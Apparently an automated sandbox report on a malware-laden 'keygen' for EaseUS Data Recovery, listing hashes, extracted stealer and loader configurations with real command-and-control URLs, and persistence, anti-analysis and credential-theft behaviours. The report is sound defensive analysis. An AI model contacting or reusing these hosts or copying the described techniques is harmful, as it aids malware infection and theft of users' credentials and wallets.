Resubmissions
06-04-2021 13:50
210406-gc51ndzsc2 1026-03-2021 23:40
210326-d1ybrjhevx 1013-03-2021 17:16
210313-8s7b52z63e 1005-03-2021 14:52
210305-34k3zj54f2 1001-03-2021 13:17
210301-naamxpgf4e 1028-02-2021 20:46
210228-6q3b959xae 1028-02-2021 20:15
210228-mbr268za12 1028-02-2021 18:32
210228-h944b5cpxa 1028-02-2021 15:10
210228-hnwwpyjy7j 10Analysis
-
max time kernel
31s -
max time network
299s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
28-02-2021 20:15
Static task
static1
Behavioral task
behavioral1
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral2
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral3
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win10v20201028
Behavioral task
behavioral4
Sample
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
Resource
win7v20201028
General
-
Target
[CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe
-
Size
9.2MB
-
MD5
b806267b5f3b7760df56396b1cf05e6d
-
SHA1
5166d4c1d3e476281d9e991eababc3e4aa9ec5ad
-
SHA256
f95d12a0dbd8199d16f48d8e4cbe69a8d4ec16c534efb36e52a662664e1c1783
-
SHA512
30e393bb3898edc8ab5fb04e62ce421ddf3903075f59e3880408b300f46bb74a85088336d6e1203b2101152cebeef4c1730290b41ca77604ecb722c8f627328b
Malware Config
Extracted
http://labsclub.com/welcome
Extracted
azorult
http://kvaka.li/1210776429.php
Extracted
metasploit
windows/single_exec
Extracted
smokeloader
2020
http://naritouzina.net/
http://nukaraguasleep.net/
http://notfortuaj.net/
http://natuturalistic.net/
http://zaniolofusa.net/
http://4zavr.com/upload/
http://zynds.com/upload/
http://atvua.com/upload/
http://detse.net/upload/
http://dsdett.com/upload/
http://dtabasee.com/upload/
http://yeronogles.monster/upload/
Extracted
smokeloader
2019
http://10022020newfolder1002002131-service1002.space/
http://10022020newfolder1002002231-service1002.space/
http://10022020newfolder3100231-service1002.space/
http://10022020newfolder1002002431-service1002.space/
http://10022020newfolder1002002531-service1002.space/
http://10022020newfolder33417-01242510022020.space/
http://10022020test125831-service1002012510022020.space/
http://10022020test136831-service1002012510022020.space/
http://10022020test147831-service1002012510022020.space/
http://10022020test146831-service1002012510022020.space/
http://10022020test134831-service1002012510022020.space/
http://10022020est213531-service100201242510022020.ru/
http://10022020yes1t3481-service1002012510022020.ru/
http://10022020test13561-service1002012510022020.su/
http://10022020test14781-service1002012510022020.info/
http://10022020test13461-service1002012510022020.net/
http://10022020test15671-service1002012510022020.tech/
http://10022020test12671-service1002012510022020.online/
http://10022020utest1341-service1002012510022020.ru/
http://10022020uest71-service100201dom2510022020.ru/
http://10022020test61-service1002012510022020.website/
http://10022020test51-service1002012510022020.xyz/
http://10022020test41-service100201pro2510022020.ru/
http://10022020yest31-service100201rus2510022020.ru/
http://10022020rest21-service1002012510022020.eu/
http://10022020test11-service1002012510022020.press/
http://10022020newfolder4561-service1002012510022020.ru/
http://10022020rustest213-service1002012510022020.ru/
http://10022020test281-service1002012510022020.ru/
http://10022020test261-service1002012510022020.space/
http://10022020yomtest251-service1002012510022020.ru/
http://10022020yirtest231-service1002012510022020.ru/
Extracted
raccoon
9ba64f4b6fe448911470a88f09d6e7d5b92ff0ab
-
url4cnc
https://telete.in/jagressor_kz
Signatures
-
Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
-
Glupteba Payload 6 IoCs
resource yara_rule behavioral1/memory/4808-342-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral1/memory/4808-339-0x0000000003740000-0x0000000003F9D000-memory.dmp family_glupteba behavioral1/memory/4808-343-0x0000000000400000-0x0000000000C77000-memory.dmp family_glupteba behavioral1/memory/6268-945-0x0000000000400000-0x0000000000C1B000-memory.dmp family_glupteba behavioral1/memory/6268-946-0x0000000003660000-0x0000000003E62000-memory.dmp family_glupteba behavioral1/memory/6268-948-0x0000000000400000-0x0000000000C1B000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 4 IoCs
resource yara_rule behavioral1/memory/6704-416-0x00000000005A0000-0x00000000005C8000-memory.dmp family_redline behavioral1/memory/6520-463-0x0000000000400000-0x0000000000426000-memory.dmp family_redline behavioral1/memory/5656-765-0x0000000004AA0000-0x0000000004ACE000-memory.dmp family_redline behavioral1/memory/5656-768-0x0000000004C40000-0x0000000004C6C000-memory.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Nirsoft 5 IoCs
resource yara_rule behavioral1/files/0x000100000001ab80-88.dat Nirsoft behavioral1/files/0x000100000001ab80-87.dat Nirsoft behavioral1/files/0x000400000001a50e-122.dat Nirsoft behavioral1/files/0x000400000001a50e-120.dat Nirsoft behavioral1/files/0x000100000001abd7-169.dat Nirsoft -
XMRig Miner Payload 3 IoCs
resource yara_rule behavioral1/memory/8164-829-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/8164-838-0x0000000140000000-0x000000014072E000-memory.dmp xmrig behavioral1/memory/8164-850-0x0000000140000000-0x000000014072E000-memory.dmp xmrig -
Creates new service(s) 1 TTPs
-
Executes dropped EXE 17 IoCs
pid Process 3980 keygen-pr.exe 740 keygen-step-1.exe 900 keygen-step-3.exe 2296 keygen-step-4.exe 3056 key.exe 1772 Setup.exe 3784 key.exe 936 26FF190E7AE0F7C7.exe 2788 26FF190E7AE0F7C7.exe 2092 Install.exe 4196 multitimer.exe 4260 file.exe 4612 1614543163996.exe 4688 B173.tmp.exe 4740 multitimer.exe 4860 multitimer.exe 4916 B173.tmp.exe -
Modifies Windows Firewall 1 TTPs
-
resource yara_rule behavioral1/files/0x000100000001ab75-33.dat office_xlm_macros -
resource yara_rule behavioral1/files/0x0002000000015661-129.dat upx behavioral1/files/0x0002000000015661-128.dat upx -
Loads dropped DLL 1 IoCs
pid Process 208 MsiExec.exe -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 6532 icacls.exe -
Obfuscated with Agile.Net obfuscator 1 IoCs
Detects use of the Agile.Net commercial obfuscator, which is capable of entity renaming and control flow obfuscation.
resource yara_rule behavioral1/memory/4764-319-0x0000000006BA0000-0x0000000006BC1000-memory.dmp agile_net -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Uses the VBS compiler for execution 1 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\s5jontyy2yx = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\H76KJGNDFM\\multitimer.exe\" 1 3.1614543381.603bfa158fa2b" multitimer.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Setup.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 26FF190E7AE0F7C7.exe -
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\F: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\E: msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 12 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 48 api.ipify.org 146 ip-api.com 152 api.ipify.org 176 ipinfo.io 303 api.2ip.ua 334 ipinfo.io 487 ip-api.com 85 ipinfo.io 87 ipinfo.io 286 ipinfo.io 302 api.2ip.ua 394 api.2ip.ua -
Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
description ioc Process File opened for modification \??\PhysicalDrive0 Setup.exe File opened for modification \??\PhysicalDrive0 26FF190E7AE0F7C7.exe File opened for modification \??\PhysicalDrive0 26FF190E7AE0F7C7.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 1772 Setup.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 3056 set thread context of 3784 3056 key.exe 88 PID 936 set thread context of 4424 936 26FF190E7AE0F7C7.exe 109 PID 4688 set thread context of 4916 4688 B173.tmp.exe 118 -
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\security.config.cch.new MicrosoftEdgeCP.exe File created C:\Windows\Microsoft.NET\Framework64\v2.0.50727\config\enterprisesec.config.cch.new MicrosoftEdgeCP.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 20 IoCs
pid pid_target Process procid_target 5604 4232 WerFault.exe 134 4440 4232 WerFault.exe 134 6156 4232 WerFault.exe 134 6420 4232 WerFault.exe 134 6788 4232 WerFault.exe 134 4356 4232 WerFault.exe 134 6036 4232 WerFault.exe 134 5832 4232 WerFault.exe 134 6288 4232 WerFault.exe 134 7424 4188 WerFault.exe 128 6748 8096 WerFault.exe 299 7252 5164 WerFault.exe 381 6044 5164 WerFault.exe 381 1364 5164 WerFault.exe 381 5636 5164 WerFault.exe 381 6336 5164 WerFault.exe 381 8172 5164 WerFault.exe 381 2828 5164 WerFault.exe 381 4772 5164 WerFault.exe 381 4980 5164 WerFault.exe 381 -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\DeviceDesc 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\DeviceDesc 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\FriendlyName 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 26FF190E7AE0F7C7.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\FriendlyName 26FF190E7AE0F7C7.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_SANU&PROD_SANU_DVD-ROM\4&37CE57BA&0&010000 26FF190E7AE0F7C7.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6856 schtasks.exe 5356 schtasks.exe -
Delays execution with timeout.exe 2 IoCs
pid Process 1468 timeout.exe 4692 timeout.exe -
Kills process with taskkill 3 IoCs
pid Process 4528 taskkill.exe 6592 taskkill.exe 2280 TASKKILL.exe -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD Setup.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6C0CE2DD0584C47CAC18839F14055F19FA270CDD\Blob = 0300000001000000140000006c0ce2dd0584c47cac18839f14055f19fa270cdd2000000001000000500500003082054c30820434a0030201020206016de34cff62300d06092a864886f70d01010b05003081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a301e170d3030303130313030303030305a170d3438313231353039313533375a3081aa313b303906035504030c32436861726c65732050726f78792043412028313920e58d81e69c8820323031392c204445534b544f502d424e41543131552931253023060355040b0c1c68747470733a2f2f636861726c657370726f78792e636f6d2f73736c3111300f060355040a0c08584b3732204c74643111300f06035504070c084175636b6c616e643111300f06035504080c084175636b6c616e64310b3009060355040613024e5a30820122300d06092a864886f70d01010105000382010f003082010a0282010100ae86c5043ed34d99f44fa3052ea34047a7fbbe33188b1dc2ca645ca3249e85e54b4921d4998fda6a22247c32d9087d742af3bf850803ae8c1e25faad53fb8fd823b7353d9a3ac992bf917f693826c790e53a540b120b6553508ec9585e467d310bd3ef9fb61731deb522eb78f43f824b34be36782db7a8cb162cd22247b14e4c5ae633ed66542354a59971bddc59160ecdc521b4477c93ca9e624e0af00298602300f5dc368819c3cb9f02604636888276b3a498570473b5328b0834f327c34285e333da9207e12f0edbb654c8cf11e3cc7cba17a52cd7cd42c10ae095a2e4eb9d3e3f361488243f0584af40e72d6e6e182149bfb8342384f60f12e14734258d0203010001a382017430820170300f0603551d130101ff040530030101ff3082012c06096086480186f842010d0482011d138201195468697320526f6f74206365727469666963617465207761732067656e65726174656420627920436861726c65732050726f787920666f722053534c2050726f7879696e672e20496620746869732063657274696669636174652069732070617274206f66206120636572746966696361746520636861696e2c2074686973206d65616e73207468617420796f752772652062726f7773696e67207468726f75676820436861726c65732050726f787920776974682053534c2050726f7879696e6720656e61626c656420666f72207468697320776562736974652e20506c656173652073656520687474703a2f2f636861726c657370726f78792e636f6d2f73736c20666f72206d6f726520696e666f726d6174696f6e2e300e0603551d0f0101ff040403020204301d0603551d0e04160414f8d0dc54367cf794020f8b92783a5d8a91251f9f300d06092a864886f70d01010b05000382010100662271eb9d5c744c88382de98ba37320e6312104d04273a92007a8670976d6530e6347d00bbded1319bb6754f36237596095922911e3661a70354f6ba0b797a76258be7adebb8c8dbeeed977760b80271d74b2444d92f6c1337a379b73545b251de5f8812b9625abbbfaedc15f8c6c374b9b26dd0fef035185f5899d8819e689dc6db5f0babbfd637c52b1bec80115b889faeed493d4112d744954ad3abe6607c41a4a2d657ba330ed131fa4e8c25bb28ee181dcef8da91c17bfd30a23c8eae81b152ed85ff938afc32b34ffdaffbdb72d9bb04067bfc87f579eba9637b165ea008ea7408bc8265f33c039bf60f506d245a6b53017afc8e161d70ed5b0d76576 Setup.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 file.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 5c0000000100000004000000000800000f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b0601050507030853000000010000004300000030413022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0620000000100000020000000d7a7a0fb5d7e2731d771e9484ebcdef71d5f0c3e0a2948782bc83ee0ea699ef40b000000010000001c0000005300650063007400690067006f002000280041004100410029000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e file.exe -
Runs .reg file with regedit 2 IoCs
pid Process 5268 regedit.exe 5972 regedit.exe -
Runs ping.exe 1 TTPs 5 IoCs
pid Process 4088 PING.EXE 4148 PING.EXE 4956 PING.EXE 184 PING.EXE 1432 PING.EXE -
Script User-Agent 5 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 86 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 94 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 175 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 285 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 331 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3056 key.exe 3056 key.exe 4612 1614543163996.exe 4612 1614543163996.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 3964 msiexec.exe Token: SeIncreaseQuotaPrivilege 3964 msiexec.exe Token: SeSecurityPrivilege 736 msiexec.exe Token: SeCreateTokenPrivilege 3964 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3964 msiexec.exe Token: SeLockMemoryPrivilege 3964 msiexec.exe Token: SeIncreaseQuotaPrivilege 3964 msiexec.exe Token: SeMachineAccountPrivilege 3964 msiexec.exe Token: SeTcbPrivilege 3964 msiexec.exe Token: SeSecurityPrivilege 3964 msiexec.exe Token: SeTakeOwnershipPrivilege 3964 msiexec.exe Token: SeLoadDriverPrivilege 3964 msiexec.exe Token: SeSystemProfilePrivilege 3964 msiexec.exe Token: SeSystemtimePrivilege 3964 msiexec.exe Token: SeProfSingleProcessPrivilege 3964 msiexec.exe Token: SeIncBasePriorityPrivilege 3964 msiexec.exe Token: SeCreatePagefilePrivilege 3964 msiexec.exe Token: SeCreatePermanentPrivilege 3964 msiexec.exe Token: SeBackupPrivilege 3964 msiexec.exe Token: SeRestorePrivilege 3964 msiexec.exe Token: SeShutdownPrivilege 3964 msiexec.exe Token: SeDebugPrivilege 3964 msiexec.exe Token: SeAuditPrivilege 3964 msiexec.exe Token: SeSystemEnvironmentPrivilege 3964 msiexec.exe Token: SeChangeNotifyPrivilege 3964 msiexec.exe Token: SeRemoteShutdownPrivilege 3964 msiexec.exe Token: SeUndockPrivilege 3964 msiexec.exe Token: SeSyncAgentPrivilege 3964 msiexec.exe Token: SeEnableDelegationPrivilege 3964 msiexec.exe Token: SeManageVolumePrivilege 3964 msiexec.exe Token: SeImpersonatePrivilege 3964 msiexec.exe Token: SeCreateGlobalPrivilege 3964 msiexec.exe Token: SeCreateTokenPrivilege 3964 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3964 msiexec.exe Token: SeLockMemoryPrivilege 3964 msiexec.exe Token: SeIncreaseQuotaPrivilege 3964 msiexec.exe Token: SeMachineAccountPrivilege 3964 msiexec.exe Token: SeTcbPrivilege 3964 msiexec.exe Token: SeSecurityPrivilege 3964 msiexec.exe Token: SeTakeOwnershipPrivilege 3964 msiexec.exe Token: SeLoadDriverPrivilege 3964 msiexec.exe Token: SeSystemProfilePrivilege 3964 msiexec.exe Token: SeSystemtimePrivilege 3964 msiexec.exe Token: SeProfSingleProcessPrivilege 3964 msiexec.exe Token: SeIncBasePriorityPrivilege 3964 msiexec.exe Token: SeCreatePagefilePrivilege 3964 msiexec.exe Token: SeCreatePermanentPrivilege 3964 msiexec.exe Token: SeBackupPrivilege 3964 msiexec.exe Token: SeRestorePrivilege 3964 msiexec.exe Token: SeShutdownPrivilege 3964 msiexec.exe Token: SeDebugPrivilege 3964 msiexec.exe Token: SeAuditPrivilege 3964 msiexec.exe Token: SeSystemEnvironmentPrivilege 3964 msiexec.exe Token: SeChangeNotifyPrivilege 3964 msiexec.exe Token: SeRemoteShutdownPrivilege 3964 msiexec.exe Token: SeUndockPrivilege 3964 msiexec.exe Token: SeSyncAgentPrivilege 3964 msiexec.exe Token: SeEnableDelegationPrivilege 3964 msiexec.exe Token: SeManageVolumePrivilege 3964 msiexec.exe Token: SeImpersonatePrivilege 3964 msiexec.exe Token: SeCreateGlobalPrivilege 3964 msiexec.exe Token: SeCreateTokenPrivilege 3964 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 3964 msiexec.exe Token: SeLockMemoryPrivilege 3964 msiexec.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 3964 msiexec.exe -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 1772 Setup.exe 936 26FF190E7AE0F7C7.exe 2788 26FF190E7AE0F7C7.exe 4424 firefox.exe 4612 1614543163996.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1152 wrote to memory of 3200 1152 [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe 78 PID 1152 wrote to memory of 3200 1152 [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe 78 PID 1152 wrote to memory of 3200 1152 [CRACKHEAP.NET]PW12345Easeus_Data_Recovery_Wizard_8_keygen.exe 78 PID 3200 wrote to memory of 3980 3200 cmd.exe 81 PID 3200 wrote to memory of 3980 3200 cmd.exe 81 PID 3200 wrote to memory of 3980 3200 cmd.exe 81 PID 3200 wrote to memory of 740 3200 cmd.exe 82 PID 3200 wrote to memory of 740 3200 cmd.exe 82 PID 3200 wrote to memory of 740 3200 cmd.exe 82 PID 3200 wrote to memory of 900 3200 cmd.exe 83 PID 3200 wrote to memory of 900 3200 cmd.exe 83 PID 3200 wrote to memory of 900 3200 cmd.exe 83 PID 3200 wrote to memory of 2296 3200 cmd.exe 84 PID 3200 wrote to memory of 2296 3200 cmd.exe 84 PID 3200 wrote to memory of 2296 3200 cmd.exe 84 PID 3980 wrote to memory of 3056 3980 keygen-pr.exe 86 PID 3980 wrote to memory of 3056 3980 keygen-pr.exe 86 PID 3980 wrote to memory of 3056 3980 keygen-pr.exe 86 PID 2296 wrote to memory of 1772 2296 keygen-step-4.exe 87 PID 2296 wrote to memory of 1772 2296 keygen-step-4.exe 87 PID 2296 wrote to memory of 1772 2296 keygen-step-4.exe 87 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 3056 wrote to memory of 3784 3056 key.exe 88 PID 900 wrote to memory of 3804 900 keygen-step-3.exe 91 PID 900 wrote to memory of 3804 900 keygen-step-3.exe 91 PID 900 wrote to memory of 3804 900 keygen-step-3.exe 91 PID 3804 wrote to memory of 4088 3804 cmd.exe 92 PID 3804 wrote to memory of 4088 3804 cmd.exe 92 PID 3804 wrote to memory of 4088 3804 cmd.exe 92 PID 1772 wrote to memory of 3964 1772 Setup.exe 95 PID 1772 wrote to memory of 3964 1772 Setup.exe 95 PID 1772 wrote to memory of 3964 1772 Setup.exe 95 PID 736 wrote to memory of 208 736 msiexec.exe 97 PID 736 wrote to memory of 208 736 msiexec.exe 97 PID 736 wrote to memory of 208 736 msiexec.exe 97 PID 1772 wrote to memory of 936 1772 Setup.exe 98 PID 1772 wrote to memory of 936 1772 Setup.exe 98 PID 1772 wrote to memory of 936 1772 Setup.exe 98 PID 1772 wrote to memory of 2788 1772 Setup.exe 99 PID 1772 wrote to memory of 2788 1772 Setup.exe 99 PID 1772 